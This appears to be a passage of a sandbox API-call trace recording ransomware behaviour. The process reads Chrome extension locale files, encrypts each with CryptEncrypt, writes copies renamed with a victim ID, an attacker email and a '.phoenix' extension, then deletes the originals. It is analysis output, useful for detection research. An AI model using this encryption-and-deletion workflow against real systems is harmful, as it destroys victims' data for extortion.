	[0265.363] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.363] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.364] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0265.364] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.364] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x49c1, lpOverlapped=0x0) returned 1
	[0265.369] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x49d0, dwBufLen=0x49d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x49d0) returned 1
	[0265.369] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x49d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x49d0, lpOverlapped=0x0) returned 1
	[0265.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0265.370] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.370] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.370] CryptDestroyKey (hKey=0x151180) returned 1
	[0265.370] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.371] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0265.371] CloseHandle (hObject=0x2b0) returned 1
	[0265.371] CloseHandle (hObject=0x254) returned 1
	[0265.371] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sr\\messages.json")) returned 1
	[0265.372] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.372] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16013) returned 1
	[0265.372] CloseHandle (hObject=0x254) returned 1
	[0265.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json")) returned 0x20
	[0265.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.373] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.373] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0265.373] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.373] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3e8d, lpOverlapped=0x0) returned 1
	[0265.399] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3e90, dwBufLen=0x3e90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3e90) returned 1
	[0265.399] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3e90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3e90, lpOverlapped=0x0) returned 1
	[0265.400] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0265.400] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.400] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.400] CryptDestroyKey (hKey=0x151500) returned 1
	[0265.400] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.400] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.400] CloseHandle (hObject=0x254) returned 1
	[0265.400] CloseHandle (hObject=0x2b0) returned 1
	[0265.401] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sv\\messages.json")) returned 1
	[0265.401] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.404] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=21907) returned 1
	[0265.404] CloseHandle (hObject=0x2b0) returned 1
	[0265.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json")) returned 0x20
	[0265.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.405] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.405] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.405] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.405] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.408] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0265.408] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.408] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5593, lpOverlapped=0x0) returned 1
	[0265.604] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x55a0, dwBufLen=0x55a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x55a0) returned 1
	[0265.604] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x55a0, lpOverlapped=0x0) returned 1
	[0265.605] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0265.605] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.605] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.605] CryptDestroyKey (hKey=0x151640) returned 1
	[0265.605] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.605] CryptDestroyKey (hKey=0x151600) returned 1
	[0265.605] CloseHandle (hObject=0x2b0) returned 1
	[0265.606] CloseHandle (hObject=0x254) returned 1
	[0265.606] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\te\\messages.json")) returned 1
	[0265.607] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.608] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18673) returned 1
	[0265.608] CloseHandle (hObject=0x254) returned 1
	[0265.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json")) returned 0x20
	[0265.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.608] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.608] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.609] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0265.609] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.609] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x48f1, lpOverlapped=0x0) returned 1
	[0265.655] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4900, dwBufLen=0x4900 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4900) returned 1
	[0265.655] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4900, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4900, lpOverlapped=0x0) returned 1
	[0265.657] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0265.657] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.657] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.657] CryptDestroyKey (hKey=0x151540) returned 1
	[0265.657] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.657] CryptDestroyKey (hKey=0x151440) returned 1
	[0265.657] CloseHandle (hObject=0x254) returned 1
	[0265.657] CloseHandle (hObject=0x2b0) returned 1
	[0265.657] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\uk\\messages.json")) returned 1
	[0265.658] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.659] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15633) returned 1
	[0265.659] CloseHandle (hObject=0x2b0) returned 1
	[0265.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json")) returned 0x20
	[0265.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.660] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.660] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.660] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\zh\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.661] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0265.661] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.661] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3d11, lpOverlapped=0x0) returned 1
	[0265.676] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3d20, dwBufLen=0x3d20 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3d20) returned 1
	[0265.676] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3d20, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3d20, lpOverlapped=0x0) returned 1
	[0265.677] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0265.677] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.677] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.677] CryptDestroyKey (hKey=0x1513c0) returned 1
